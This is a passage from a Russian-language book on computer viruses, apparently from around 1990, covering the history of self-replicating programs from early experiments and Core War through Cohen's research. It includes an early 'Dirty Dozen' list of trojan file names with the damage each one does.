НЕКОТОРЫЕ СЕТЕВЫЕ ВИРУСЫ 9.1. Вирус Christmas Tree (Рождественская елка) 9.2. Вирус Морриса 9.3. Вирусы в локальных сетях 9.3.1. Вирус 1260 10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ ЗАЩИТЫ ОТ ВИРУСОВ 10.1. Классификация cредств защиты от вирусов 10.2. Основная технологическая схема защиты 10.2.1. Организация входного контроля нового программного обеспечения 10.2.1.1. Понятия достоверной дистрибутивной копии и сертификата 10.2.1.2. Контроль текстовых строк, содержащихся в файле 10.2.1.3. Использование отладчиков и дизассемблеров 10.2.2. Карантинный режим 10.2.2.1. Троянские компоненты в незаконно распространяемых копиях программ и программах со "сломанной" защитой 10.2.2.2. Троянские компоненты в антивирусных программах 10.2.2.3. После покупки компьютера проверяйте содержимое винчестера 10.2.3. Сегментация информации на винчестере 10.2.4. Защита операционной системы от заражения 10.2.4.1. Стратегия защиты командного процессора 10.2.4.2. Использование каталога BAT-файлов 10.3. Архивирование 10.3.1. Используйте программы резервирования FAT и главного каталога в AUTOEXEC.BAT 10.3.2. Используйте систему "неделя-месяц-год" 10.3.3. В защиту "бумажной технологии" 10.3.4. Запомните параметры, хранящиеся в СMOS-памяти, пока еще не поздно 10.3.5. Переписывая программы, различайте эталонную и рабочую копию 10.4. Методика применения средств защиты 10.4.1. Типичные ошибки 10.4.2. Методика применения детекторов 10.4.2.1. Использование Norton Utilities и PCTools как универсальных детекторов вирусов 10.4.2.2. Поиск текстовых сигнатур 10.4.3. Методика применения фагов 10.4.4. Методика использования резидентных сторожей 10.4.5. Методика использования ревизоров 10.4.6. Вакцинирование 10.4.7. Критерии оценки качества антивирусных программ 10.4.7.1. Критерии оценки качества детекторов 10.4.7.2. Сравнительный анализ полифагов 10.4.7.3. Критерии оценки и сравнительный анализ ревизоров 10.4.7.4. Сравнительный анализ вакцин 10.4.7.5. Критерии оценки сторожей 10.4.8. О первом конкурсе антивирусных программ, распространяемых бесплатно 10.4.8.1. Оценки и рекомендации жюри по полифагам 10.4.8.1.1. A I D S T E S T 10.4.8.1.2. D O C T O R 10.4.8.2. Оценки и рекомендации жюри по детекторам и ревизорам 10.4.8.2.1. D L I 10.4.8.2.2. V L 10.4.8.3. Оценки и рекомендации жюри по сторожам и вакцинам 10.4.8.3.1. S B M и C H E C K 2 1 10.5. Отдельные приемы защиты 10.5.1. Регулярно оптимизируйте винчестер 10.5.2. Прятать новые версии антивирусных программ просто невыгодно 10.5.3. Нормальное состояние дискеты - защищенное от записи 10.5.4. Как работать на зараженном файловым вирусом компьютере при отсутствии вакцины 10.5.5. При хранении антивирусных программ на винчестере используйте архивирование 10.5.6. Использование макетов программ типа DUMYxxxx для определения место нахождения спрятанных байтов 10.6. Методика восстановления информации 10.6.1. Создайте и отработайте план восстановления винчестера ! 10.6.2. Если что-то случилось - избегайте поспешных действий 10.6.3. Советы по восстановлению информации 10.7. Некоторые организационные меры защиты 10.8. Юридические методы защиты от компьютерных вирусов 10.8.1. Некоторые судебные процессы над кракерами и разработчиками вирусов 11. ЗАКЛЮЧЕНИЕ ЛИТЕРАТУРА ПРИЛОЖЕНИЕ 1. Классификационная таблица файловых вирусов, обнаруженных в CCCР ПРИЛОЖЕНИЕ 2. Классификационная таблица бутовых вирусов, обнаруженных в CCCР ПРИЛОЖЕНИЕ 3. Классификационная таблица файловых вирусов, известных только по литературе ПРИЛОЖЕНИЕ 4. Классификационная таблица бутовых вирусов, известных только по литературе ПРИЛОЖЕНИЕ 5. Перечень отечественных антивирусных средств, помещенных в выпусках электронного бюллетеня СОФТПАНОРАМА ПРИЛОЖЕНИЕ 6. Некоторые сведения о файловой системе MS DOS ПРИЛОЖЕНИЕ 7. Исполняемые файлы и связанные с ними системные блоки ПРИЛОЖЕНИЕ 8. Прерывания MS DOS ПРИЛОЖЕНИЕ 9. Наиболее часто используемые функции MS DOS 1. ОЧЕРК ИСТОРИИ КОМПЬЮТЕРНЫХ ВИРУСОВ 1.1. Предыстория "Vestigia semper adora" (Всегда уважай следы) Стаций (40-50 до н.э.) Компьютерные вирусы являются одной из разновидностей компьютерного вандализма, получившего распространение в конце 80-х гг. Исторически их возникновение связано с идеей создания самовоспроизводящихся программ -- концепции, уходящей своими корнями в пятидесятые годы. Идея самовоспроизводящихся механизмов исследовалась еще Джоном фон Нейманом, который в 1951 г. предложил метод создания таких механизмов. Несомненно, идея вирусоподобных программ неоднократно открывалась и переоткрывалась различными авторами. Тем не менее, восстановление приоритета исследователей в опубликовании той или иной грани концепции вирусоподобных программ является в какой-то мере актом восстановления справедливости по отношению к тем, чьи работы были незаслуженно забыты или вообще проигнорированы. Это касается прежде всего европейских исследователей, вклад которых в разработку различных проблем системного программирования часто игнорируется или замалчивается в американских публикациях. Первой публикацией, связанной с рассматриваемой концепцией, можно считать статью Л.С.Пенроуза (L.S.Penrose) о самовоспроизводящихся механических структурах [Penrose59], опубликованную в 1959 г. американским журналом "Scientific American". В этой статье, наряду с примерами чисто механических конструкций, была приведена некая двумерная модель подобных структур, способных к активации, захвату и освобождению. Под влиянием этой статьи Ф.Ж.Шталь (F.G.Stahl) запрограммировал на машинном языке ЭВМ IBM 650 биокибернетическую модель, в которой существа двигались, питаясь ненулевыми словами [Dewdney85]. При N передвижениях без пищи существо умирало от голода, а после съедания определенного количества слов порождало новое. При размножении была предусмотрена возможность мутаций, в ходе которых существа могли приобретать способность пожирать себе подобных и терять возможность к размножению. Однако ограниченная память и быстродействие IBM 650 послужили препятствием для получения интересных результатов: в ходе пробного прогона один бесплодный мутант убил и съел единственного, способного к размножению. 1.1.1. Первые эксперименты В 1962 г. В.А.Высотский (V.А.Vyssotsky), Х.Д.Макилрой (H.D.McIlroy) и Роберт Моррис (Robert Morris) -- фирма Bell Telephone Laboratories, США -- изобрели достаточно необычную игру "Дарвин", в которой несколько ассемблерных программ, названных "организмами", загружались в память компьютера. Организмы, созданные одним игроком (т.е. принадлежащие к одному виду), должны были уничтожать представителей другого вида и захватывать жизненное пространство. Победителем считался тот игрок, чьи организмы захватывали всю память или набирали наибольшее количество очков. Игра проходит на большом участке памяти, называемом ареной и управляемом специальной программой -- супервизором. Вид V состоит из N(V) особей. Каждая особь (K=1..N(V)) имеет размер S(K) (K=1..N(V), S(K) < MAXS) и расположена в R(K) последовательных ячейках, начиная с головы G(K), причем R(V) точек со смещениями P(K,1)..P(K,R(V)) относительно головы являются защищенными. Организм, который получает управление, может использовать три вида обращения к супервизору: PROBE(n,loc) -- запрос о содержании ячейки с адресом loc (если эта ячейка защищена, то управление передается ее обладателю, а если нет, то возвращаются три числа -- <номер вида организма, занимающего ячейку> (ноль, если ячейка свободна), <начало> и <конец> (если ячейка свободна, то начало и конец свободного участка арены, в который она входит; нули, если ячейка занята организмом)); KILL(loc) -- уничтожить организм по адресу loc (loc должна принадлежать организму другого вида и должна быть предварительно исследована PROBE любым организмом того же вида, что и нападающий); CLAIM(n,loc) -- размножить организм на участок свободного пространства, включающий loc (ячейка loc должна быть предварительно исследована с помощью PROBE и не менее S(K) ячеек должно быть свободно, возможно, в результате предыдущего KILL). "Игра для полуночников", возникшая в фирме Bell Telephone Laboratories, быстро приобрела популярность и в других учебных и исследовательских центрах, например в исследовательском центре фирмы Ксерокс в Пало Альто и в Массачусетском институте технологии (МИТ). Отметим, что долгое время описание игры существовало только "в устном фольклоре": статья с описанием игры была опубликована только в 1972 г. [SP&E72], причем в ее тексте использовался термин "вирус" применительно к одному из видов организмов. Приблизительно в 1970 г. была создана саморазмножающаяся программа для одной из первых компьютерных сетей -- APRAnet. Программа CREEPER, которая по некоторым данным была написана Бобом Томасом (Bob Thomas) из BBN, путешествовала по сети, обнаруживая свое появление сообщением "I'M THE CREEPER ... CATCH ME IF YOU CAN" ("Я КРИПЕР ... ПОЙМАЙ МЕНЯ, ЕСЛИ СМОЖЕШЬ"). Для борьбы с ней была создана программа REAPER, которая также путешествовала по сети и уничтожала встретившиеся экземпляры CREEPER. Эта идея, представляющая собой вариацию подхода, распространенного в среде знахарей, -- "подобное лечится подобным", позднее неоднократно использовалась и в других программах борьбы с ранними вирусами, однако в целом оказалась неудачной. В 1974 г. была написана программа RABBIT (Кролик), которая размножалась на трех соединенных между собой машинах IBM, причем появление новых подзадач вызывало замедление реакции, а затем и полное зависание машин. Другим примером вирусоподобных программ была игра Animal (Животное), разработанная примерно в 1975 г. для UNIVAC 1108. Суть этой игры состояла в том, что человек задумывал некоторое животное, и программа, задавая вопросы, пыталась определить, какое животное загадал человек. Программист, написавший игру, предусмотрел в ней возможность саморазмножения. Когда программа угадывала неправильно, она просила пользователя предложить вопрос, который позволил бы улучшить ее способности к отгадыванию данного животного. Запомнив этот вопрос, программа не только модифицировала себя, но и пыталась переписать свою обновленную (улучшенную) копию в другой каталог. Если там уже была программа Animal, то она стиралась. В противном случае создавалась новая копия. Оказалось, что через некоторое время все каталоги файловой системы содержали копию Animal. Более того, если пользователь переходил с машины на машину, то он переносил и свой каталог, и в результате во всех каталогах этой ЭВМ также появлялась Animal. При этом совокупность копий Animal занимала значительное файловое пространство, что в те времена воспринималось как проблема. В соответствии с фольклорной версией решения проблемы, опубликованной в [Dewdney85], была разработана новая, более "инфицирующая" модификация игры, которая копировала себя не один раз, а дважды, тем самым быстро вытесняя собой старую версию. По истечении заданного срока она предлагала пользователю сыграть последний раз, а затем сама стирала себя с диска. В действительности, борьба проходила на уровне операционной системы: в версии 33 операционной системы Exec 8 для этой ЭВМ был изменен формат таблицы файлов, и игра потеряла возможность размножаться. 1.1.2. Романы Бруннера, Гибсона и расцвет "околовирусного" направления в научной фантастике В вышедшем в 1975 г. научно-фантастическом романе "The Shockware Rider" Джон Бруннер (John Brunner) [Brunner75] описал "червей" -программы, распространяющиеся по сети. Эта идея в определенной степени предвосхитила последующие события (см. ниже сетевой вирус Морриса), хотя ее осуществление находилось за пределами возможностей компьютеров того времени. Данная книга оказалась в числе бестселлеров и безусловно повлияла на ход дальнейших событий. В 1977 г. издательством Collier Books был опубликован еще один научно-фантастический роман -- "The Adolescence of P-1" ("Юность П1") [Ryan77], разрабатывавший ту же тему. Его автор, Томас Риан (Thomas J. Ryan), создал образ достаточно жуткого "разумного" вируса, занимающегося сбором информации. Забегая вперед отметим, что в 1984 г. В.Гибсон (W.Gibson) опубликовал научно-фантастический роман "Neuromancer" [Gibson84] -второй после Бруннера бестселлер, в котором фигурируют компьютерные вирусы. Этот роман также можно рассматривать как катализатор реальных событий. В частности, в нем впервые было введено понятие "киберпространства". Этим словом названа глобальная компьютерная коммуникационная сеть, в которой ввод и вывод осуществляется не с помощью клавиатуры и дисплея, а с помощью "согласованных галлюцинаций". Несмотря на фантастичность идеи, оказалось, что "улица находит свое применение любым вещам". В настоящее время под киберп- ространством понимается система, в которой у пользователя создается трехмерное восприятие объектов некоего искусственного мира и иллюзия того, что он находится внутри соответствующего искусственного пространства, а не просто наблюдает его изображение на экране дисплея. Если видеоигры -- это фильмы с участием игрока, то киберпространство -- это парк аттракционов, где можно испытать все, что только можно вообразить. В настоящее время фирма Autodesk осуществляет проект Cyberspace, в рамках которого разработан ряд устройств для создания киберпространства [Уолсер90]. К ним относятся специальный шлем (со встроенным дисплеем и датчиками перемещения головы), а также специальные перчатки PowerGlove фирмы Nintendo, которые позволяют оцифровывать и вводить любые перемещения пальцев руки. Недалек тот день, когда участники международного коллектива разработчиков смогут собираться в виртуальном конференц-зале, демонстрируя друг другу различные проектные решения, обсуждая и тут же внося изменения. При этом каждый участник будет видеть виртуальные тела других участников, сможет подходить к ним и разговаривать, хотя к сожалению, при встрече со знакомой девушкой нельзя будет ее обнять. Но это все в будущем. А сейчас вернемся к истории компьютерных вирусов. Упомянутые выше романы положили начало литературному направлению "околовирусного" толка, в котором концепция вирусов разрабатывается с различных точек зрения. В частности, сюжет французского "шпионского" детектива "Softwar: la guerre douce" Терри Брентона (Thierry Brenton) и Дениса Бенеша (Denis Beneich), опубликованного в 1985 г. [Brenton85], основан на продаже СССР американского суперкомпьютера для метеорологической сети. Вместо блокирования сделки американская администрация, демонстрируя напускное нежелание продать компьютер, санкционирует его доставку в СССР. В то же время в системное программное обеспечение компьютера заносится "логическая бомба". При определенных условиях она "взрывается" и уничтожает все программное обеспечение в советской сети. В той мере, в которой этот сюжет представляет собой реальную возможность, это самая настоящая война программ с агентом-подрывником в качестве действующего лица. Поскольку метеорологическая сеть так или иначе связана с авиационными и ракетными системами, роман заставляет нас задуматься. Этот поток научно-фантастической литературы, посвященной вирусам, безусловно сыграл определенную роль в популяризации идеи и привлечении к ней внимания студенческой молодежи (см. ниже). Из последних романов этого направления следует отметить второй роман В.Гибсона "Mona Lisa Overdrive", вышедший в 1988 г. [Gibson88]. 1.1.3. Apple II и BBS создают условия для распространения троянских программ и вирусов Весной 1977 г. появился первый персональный компьютер Apple II. Эта модель находилась в производстве с 20 апреля 1977 г. по 1 августа 1983 г. Общее количество проданных машин составило более 3 млн. шт., что на порядок превышало количество ЭВМ других серий. Поэтому для этих машин появились объективные возможности создания реальных компьютерных вирусов, и эти возможности очень быстро были осознаны и реализованы. Неудивительно, что Apple II послужил "рабочей лошадкой" для разработчиков "доисторических" компьютерных вирусов. Параллельно с массовой продажей компьютеров Apple, в конце 70-х годов на Западе отмечается бурное развитие сетей для передачи информации на базе обычных телефонных каналов. Появляются первые банки свободно распространяемых программ и данных -- BBS (Bulletin Board System -- буквально "доска объявлений" для программ). В этот банк любой программист мог загрузить (download) свою программу, и любой пользователь мог ее считать и запустить на своем компьютере. Это существенно увеличило и ускорило трафик программ, тем более что многие университетские компьютерные центры (традиционно являющиеся центрами разработки различного рода бесплатных программ) организовали свои BBS. Позднее появились и большие онлайновые информационные системы, такие как CompuServe, которые охватывали практически все западные страны. С появлением BBS получил распространение и новый вид компьютерного хулиганства: загрузка в нее программы, выводящей какие-то привлекательные картинки или претендующей на выполнение какой-либо полезной функции, которая сразу после запуска ("чистая" программа-вандал) или через некоторое время, или при выполнении некоторого условия (троянская программа-вандал) уничтожала данные на компьютере пользователя, переписавшего и запустившего ее на своем компьютере. Такие программы-вандалы можно рассматривать как исторических предшественников вирусов-вандалов, тем более что их разрабатывает по сути один и тот тип личностей. В 1980 г. появилась первая и весьма примечательная европейская публикация по компьютерным вирусам -- "Самовоспроизводящиеся программы" Й.Крауса. Ее автор -- сотрудник кафедры информатики Дортмундского университета -- не только дал достаточно точное определение компьютерных вирусов, но и привел в своей работе листинги компьютерных вирусов (на языке ассемблера фирмы Сименс -- клона известной системы 360 фирмы IBM). К сожалению, данная публикация представляла собой препринт Дортмундского университета и широкого распространения не получила. По мнению Р.Бургера, автора первой книги по компьютерным вирусам, опубликованной впервые в 1987 г. издательством DATA BECKER GmbH [Burger88], уровень этой работы существенно превосходит уровень исследований Ф.Коэна (см. ниже), поэтому обидно, что она практически забыта и не цитируется в современных исследованиях по компьютерным вирусам. В 1981-82 гг. появился первый, получивший некоторое распространение, бутовый вирус на ПЭВМ Apple II. Этот вирус, получивший название ELK CLONER, обнаруживал свое присутствие сообщением, содержавшим даже небольшое стихотворение: ELK CLONER: THE PROGRAM WITH A PERSONALITY IT WILL GET ON ALL YOUR DISKS IT WILL INFILTRATE YOUR CHIPS YES, IT'S CLONER IT WILL STICK TO YOU LIKE GLUE IT WILL MODIFY RAM, TOO SEND IN THE CLONER! Поскольку винчестеров тогда еще не было, борьба с ним состояла в использовании защитных наклеек на дискетах. Другой вирус для Apple II был создан в 1982 г. студентом Техасского университета. Он был рассчитан на операционную систему DOS 3.3 для этой ПЭВМ (не путать с более поздней операционной системой MS DOS 3.3 для ПЭВМ, совместимых с IBM PC). Не до конца отлаженная версия этого вируса "ускользнула" от автора и начала распространяться по университету. Ошибка в вирусе вызывала подавление графики популярной игры под названием CONGO, и в течение нескольких недель все ("пиратские") копии этой игры перестали работать. Для исправления ситуации автор запустил новый, исправленный вирус, предназначенный для "замещения" предыдущей версии. Как мы видим, идея "подобное лечится подобным" открывалась и переоткрывалась многократно. 1.1.4. Первые эксперименты с сетевыми вирусами В октябре 1980 г. в сети APRANET была обнаружена программа, по некоторым описаниям вызывавшая "перепутывание" адресов посылаемых по сети сообщений, что вызывало появление множества сообщений "неверный статус пользователя". В результате систему пришлось выклю- чить, и она была восстановлена только через три дня. В 1982 г. не без влияния упоминавшегося выше романа Бруннера сотрудниками исследовательского центра фирмы XEROX в Пало Альто ("родине Смолтока") была создана программа-червь и проведен ряд экспериментов, результаты которых опубликованы в ведущем американском компьютерном журнале [Shoch82]. Идея, которой руководствовались авторы программы, состояла в том, что программа, требующая значительных вычислительных мощностей, захватывала все простаивающие, но подключенные к сети ЭВМ, с тем, чтобы например, ночью использовать максимум подключенных вычислительных мощностей, а утром, когда пользователи начинают выполнять свои вычисления, освобождать их, сохраняя промежуточные результаты вычислений. Днем программа "перебивалась" бы одной -- двумя машинами, а ночью опять захватывала бы все свободные вычислительные мощности. В связи с этой способностью к ночному распространению такую программу правильнее было бы назвать не червяком, а вампиром. При проведении эксперимента по запуску червяка в сеть наблюдалось его неконтролируемое распространение и зависание части зараженных червяком машин. Поскольку эксперимент проводился на локальной сети Ethernet и некоторые комнаты с включенными машинами следующим утром оказались закрытыми, копии червя в этих машинах заражали другие машины. К счастью, авторы предусмотрели такую возможность и послали по сети команду самоуничтожения всем копиям червяка. 1.1.5. Тьюринговская лекция Кена Томпсона В 1983 г. Кену Томпсону (Ken Thompson) -- создателю всемирно известной операционной системы UNIX, была присуждена самая престижная в мире программирования премия -- премия имени Тьюринга Американской ассоциации компьютерной техники (Association for computing machinery) -- самой старой и наиболее массовой организации американских программистов. Свою замечательную тьюринговскую лекцию (читаемую каждым лауреатом на ежегодном съезде общества) Кен Томпсон посвятил не истории создания системы UNIX, а проблеме внесения тонких ошибок в код компилятора, которые невозможно обнаружить путем анализа исходного текста последнего [Thompson84]. Хотя в то время данная тема казалась чем-то незначительным, Томпсон затронул важную проблему, ставшую актуальной только с появлением компьютерных вирусов. В своем заключении -- оказавшемся в значительной мере пророческим -- он в частности сказал: "Нельзя доверять программам, написанным не вами самими Є Никакой объем верификации исходного текста и исследований не защитит вас от использования ненадежного (untrusted) кода. По мере того как уровень языка, на котором написана программа, снижается, находить эти ошибки становится все труднее и труднее. "Хорошо продуманную" (well installed) ошибку в микрокоде найти почти невозможно. Я хотел бы подвергнуть критике прессу за ее освещение проблемы хакеров, банды 414, банды Дальтона (Dalton gang) и т.д. Действия этих ребят представляют собой в лучшем случае вандализм, а в худшем -- возможно, правонарушение и воровство. Только несовершенство уголовного законодательства спасает хакеров от очень серьезных наказаний. Компании, которые могут пострадать от этой активности (а большинство крупных компаний являются очень уязвимыми в этом отношении), предпринимают значительные усилия с тем, чтобы добиться изменения уголовного законодательства. Несанкционированный доступ к компьютерным системам уже является серьезным преступлением в ряде штатов, и соответствующие законы в настоящее время рассматриваются во многих других штатах и в Конгрессе. Надвигается взрывоопасная ситуация. С одной стороны, пресса, телевидение и фильмы делают героев из этих вандалов, называя их вундеркиндами (whiz kids). С другой стороны, действия этих ребят бу- дут скоро наказываться годами тюрьмы. Я видел, как эти ребята давали показания Конгрессу. Было совершенно ясно, что они не отдают себе отчета в серьезности своих действий. Это, возможно, связано с различиями в культурном уровне (cultural gap). Проникновение в компьютерные системы должно накладывать на человека такое же клеймо, как проникновение в чужую квартиру. И не имеет никакого значения, что дверь соседа оказалась незапертой. Пресса должна понять, что неверное использование компьютера ничем не лучше управления автомобилем в нетрезвом состоянии" (перевод Н.Н.Безрукова). 1.1.6. Игра "Бой в памяти", работы Коэна и другие события 1984 г. 1984 г. оказался переломным в истории компьютерных вирусов -- в течение года произошло несколько событий "исторического значения" с точки зрения компьютерных вирусов. В мае 1984 г. в журнале "Scientific American" А.К.Дьюдни (A.K.Dewdney) -автором колонки "Занимательный компьютер" (Computer Recreations) был опубликован упрощенный вариант игры Darvin, названный "Core War" ("Бой в памяти") [Dewdney84]. Игра вызвала значительный читательский интерес, и впоследствии было даже организовано международное общество International Core War Society cо штаб-квартирой в США и филиалами в Италии, Польше, ФРГ, Японии и СССР (152140 Переславль-Залесский 5, а/я 10, Лилитко Е.П.) [Лилитко89]. В данной игре два игрока пишут по одной программе каждый на языке низкого уровня REDCODE. Программы помещаются в большой циклически замкнутый участок памяти. Каждая команда занимает одну ячейку памяти. Управляющая программа поочередно исполняет одну команду каждой программы, подобно простейшей системе реального времени. Программы атакуют друг друга и в то же время пытаются избежать повреждений и восстанавливать поврежденные области. Простейшая атака состоит в использовании команды MOV (записать в память). Например: MOV #0,1000 может "убить наповал" вражескую программу, если попадет в следующую исполняемую команду (т.е. если следующая выполняемая команда "врага" расположена по адресу 1000) или "ранить", если это данные или исполняемые команды, или наконец, "попасть мимо", если ячейка 1000 противной стороной не используется. Два итальянских программиста Р.Черути (Roberto Cerutti) и М.Морокути (Marco Morocutti), основываясь на идеях игры, попытались создать программу, обладающую свойством саморазмножения в реальных условиях, на Apple II, получившей к этому времени распространение во всем мире (впрочем, наша страна, как и некоторые другие находилась в стороне от этого процесса). Apple II имел дисковод для гибких дисков, и итальянцам удалось нащупать основную идею бутового вируса -- перехват прерывания по чтению и заражение каждой вставляемой в ЭВМ дискеты. Они также сообразили, что будучи реализованной, программа вызвала бы миниэпидемию в масштабах их родного города Брешиа. Более того, поняв, что указанная программа является компьютерным вирусом, они по аналогии с естественными вирусами пришли к идее о том, что компьютерный вирус может наносить вред. Для этой цели они предложили встроить счетчик в бутсектор и через каждые 16 размножений (это, по сути, первое упоминание идеи счетчика в бутсекторе -- идеи, которая будет открываться и переоткрываться многими разработчиками вирусов для IBM PC) запускать переформатирование дискеты. Однако они во-время ужаснулись возможным последствиям и отказались от реализации практически полностью специфицированной программы. Тем не менее, они имели неосторожность изложить свои идеи достаточно подробно в письме в журнал "Scientific American", а А.К.Дьюдни в апрельском (за 1985 г.) обзоре писем читателей по поводу игры "Бой в памяти" [Dewdney85] опубликовал их письмо. Последнее можно рассматривать как первую достаточно полную опубликованную спецификацию бутового вируса. Рассматриваемая публикация несколько ускорила последующие события, хотя сам их ход был уже предопределен. Поскольку журнал "Scientific American" относится к наиболее читаемым научно-популярным журналам как в США, так и в других западных странах, письмо Р.Черути и М.Морокути было замечено, и попытки повторения не заставили себя долго ждать. Так, вирус, реализованный по опубликованному описанию Р.Скрентой-младшим из Питсбурга (США), быстро распространился по дискетам его знакомых и преподавателей. Для борьбы с ним был написан антивирус, однако он оказался не в состоянии предотвратить дальнейшее распространение вируса. В сентябре 1984 г. была опубликована статья Ф.Коэна (Fred Cohen) [Cohen84], в которой автор исследовал разновидность файлового вируса. Это фактически второе академическое исследование проблемы вирусов. Работа содержала полезное, хотя и недостаточно строгое формальное определение вируса и ряд важных соображений о большой потенциальной опасности компьютерных вирусов, а также относительно того, что для своего размножения вирусу достаточно обычных операций, реализуемых файловой системой любой ОС. Ф.Коэн описал ряд экспериментов, проделанных 3.11.83 г. на системе VAX 11/750, работающей под управлением ОС UNIX. Вирус был имплантирован в начало утилиты VD, которая позволяла графически отображать структуру каталогов диска. Поскольку VD была новой программой, о ее характеристиках пользователи представления не имели. В ходе пяти экспериментов пользователю зараженной программы в течение определенного времени (от 5 до 30 мин.) предоставлялся статус суперпользователя. Эксперимент показал достаточно высокую скорость размножения вируса (1/2 с. на заражение) и большое количество зараженных файлов. По материалам этой статьи в 1984 г. появилась статья в журнале "Шпигель" под названием "Тайная инструкция" [Spiegel84], которая вызвала оживленную дискуссию в ФРГ. В дискуссии принял участие и сам Ф.Коэн. Уже тогда обсуждались вопросы о целесообразности публикаций по данной тематике. Как пишет в своей книге Р.Бургер, Джером Лоубел -- советник по безопасности компьютеров фирмы "Honeywell Informations Systems", возражал против публичного обсуждения данного вопроса. В свою защиту Ф.Коэн привел следующие соображения: "Суть дела заключается все же в том, что если придумать что-либо в этом роде под силу мне, то это может также сделать и кто-то другой", и этот другой может оказаться "скверным парнем". Забегая вперед, следует отметить, что в 1986 г. Ф.Коэн защитил диссертацию под названием "Компьютерные вирусы". В 1985 г. на страницах журнала KES (ФРГ) Р.Дирштейн (R.Dierstein) опубликовал комментированный перевод работы Ф.Коэна [Dierstein85]. Этим же автором опубликовано еще несколько работ по данной тематике, в частности [Dierstein86] и "Computer viruses: a secret threat" в трудах конференции Securicom (Париж, 1986). 1.1.7. Первые попытки противодействия: список "грязная дюжина" и первые антивирусные программы В том же 1985 г. Том Нельф (Tom Nelf) начал распространять по различным BBS список "Грязная дюжина -- список опасных загружаемых программ" ("The Dirty Dosen -- An Unloaded Program Alert List"), в котором были перечислены известные на тот момент программы-вандалы. В дальнейшем этот список, включающий большинство выявленных троянских программ и "взломанные" или переименованные копии коммерческого программного обеспечения для MS DOS, стал широко известен и получил сокращенное название "грязная дюжина" (dirty dosen). В настоящее время список поддерживается Эриком Ньюхаузом (Eric Newhouse) из Лос-Анжелеса и может быть получен практически через любую сеть. В пояснениях к нему Эрик Ньюхауз отмечает, что пользователи "Є могут быть уверены только в одной свойстве их винчестеров -- в том, что рано или поздно они "полетят". Часто пользо- ватель будет винить в этом программу, хотя на самом деле проблема связана с электроникой или механикой. Помните, что слухи о троянских программах легче запустить, чем остановить". Последний совет не мешало бы помнить и некоторым авторам "околовирусных" публикаций (см., например, [Основcкий90]). Один из ранних вариантов этого списка был опубликован в [Solomon88] (рис.1). С распространением троянских программ стали создаваться программы защиты, которые можно рассматривать и как первые антивирусные программы. Зимой 1984 г. Анди Хопкинс (Andy Hopkins) написал программы CHK4BOMB и BOMBSQAD. Первая из них позволяла проанализировать текст загрузочного модуля и выявляла все текстовые сообщения и "подозрительные" участки кода (команды прямой записи на диск и др.). Благодаря своей простоте (фактически использовался только контекстный поиск) и эффективности CHK4BOMB получила значительную популярность. Программа BOMBSQAD.COM перехватывает операции записи и форматирования, выполняемые через BIOS. При выявлении запрещенной операции можно разрешить ее выполнение. В начале 1985 г. Ги Вонг (Gee Wong) написал программу DPROTECT -- резидентную программу, перехватывающую попытки записи на дискеты и винчестер. Она блокировала все операции (запись, форматирование), выполняемые через BIOS. В случае выявления такой операции программа требует рестарта системы. Несколько позднее появилась программа FLUSHOT, написанная Росс М. Гринберг. Более поздняя версия этой программы -FluShot Plus (версия 1.7), распространяемая как SHAREWARE с регистрационной ценой 10 долларов, используется и в настоящее время. Из европейских программ отметим резидентный сторож VIRBLK, который был написан в Вене Михелем Фитцем, и программу ANTI4US2, написанную Э.Лайтингом. Название последней связано с тем, что число 4 по-немецки звучит как "фир", что позволяет прочитать название как "антифирус2". Троянские программы для ПЭВМ, совместимых с IBM PC 123JOKE ALTCTRL.ARC ARC513.EXE ARC514.COM BACKALLY.COM BACKTALK BXD.ARC CDIR.COM CHUNKER.EXE COMPRESS.ARC DANCERS.BAS DEFENDER.ARC DISKACHE.EXE DISKSCAN.EXE DMASTER DOSKNOWS.EXE DPROTECT EGABTR ELEVATOR.ARC EMMCACHE FILER.EXE FUTURE.BAS MAP NOTROJ.COM TIRED TSRMAP - Якобы утилита для Lotus 1-2-3. Разрушает каталоги. - Портит загрузочный сектор. - Троянская версия архиватора. Отличается по длине (архиватор ~ 32К). Портит бутсектор. - То же самое. Архиватор всегда .EXE. - Через несколько месяцев портит FAT. - Случайное затирание секторов на винчестере. - Предупреждает, потом затирает FAT. - Выдает себя за утилиту, высвечивающую каталоги в цвете -- на самом деле портит FAT. - Портит FAT, возможно -- ошибка. - Якобы "Shareware from Borland", портит FAT. - Под красивые картинки портит FAT. - Пишет в CMOS и форматирует диск. - Вероятно ошибка, но может испортить FAT. - Якобы ищет плохие сектора,на деле -- создает. - -"- -"- -"- Якобы улучшает работу EGA, затирает диски. - Затирает файлы, может форматировать диски. - Портит файлы, затирает загрузочный сектор. - Затирает диски. - Портит FAT, затирает корневой каталог. ??? - Претендует быть антитроянской программой, на деле - наоборот. - Портит FAT. - Дает карту программ TSR, затирает бутсектор. PACKDIR - Якобы оптимизирует винчестер, портит FAT. PCLOCK - Портит FAT. PCW271xx.ARC - Троянская версия PC-Write v2.71, размером 98274 байта (настоящая - 98644). Портит FAT. PKX35B35.EXE - Портит FAT. Настоящая называется PKX35A35. RCKVIDEO - Под картинки рок-звезды портит FAT. SCRNSAVE.COM - Затирает винчестер. SECRET.BAS - Форматирует диски. SEX-SHOW.ARC - Затирает все файлы в каталоге. SIDEWAYS.COM - Настоящая программа обеспечивает фоновую печать, эта - портит бутсектор. SUG.ARC - Якобы снимает защиту Softguard, портит FAT. TOPDOS - Форматирует винчестер. VDIR.COM - Портит файлы на диске. VISIWORD.ARC - Портит диск. WARDIAL1.ARC - Портит FAT. Рис.1. Один из ранних вариантов списка "грязная дюжина". 1.2. Второй этап -- компьютеры в осаде "Ох! Знобит от рассказа дотошного" В.Высоцкий События 1985-86 гг. по времени совпали с быстрым ростом производства и резким снижением цен на ПЭВМ серии IBM PC (появились модели по цене менее 1000 долларов), которые и ознаменовали начало нового этапа развития компьютерных вирусов (отметим, что в 1989 г. американцы имели возможность купить за ту же цену модель с процессором 80386 -- см., например, Byte, 1989, v.14, ∙ 6, p.65, а в 1989 г. по крайней мере в одном американском университете -- Drexel University, штат Филадельфия, к поступающим предъявлялось требование иметь собственный компьютер). Поэтому второй этап в развитии вирусов связан с достижением "критической массы" произведенных ПЭВМ, совместимых с IBM PC -- самого массового компьютера в истории развития вычислительной техники. Эта "масса", по-видимому, была достигнута в 1987 г., когда одновременно в нескольких странах произошли вспышки заражения компьютеров вирусами. Эти вспышки и ознаменовали начало второго этапа развития рассматриваемого класса программ, на котором они уже стали представлять собой угрозу для всех пользователей ПЭВМ. В отличие от первого этапа, когда разработки вирусоподобных программ носили исследовательский характер и авторы выполняли эксперименты, заручившись согласием 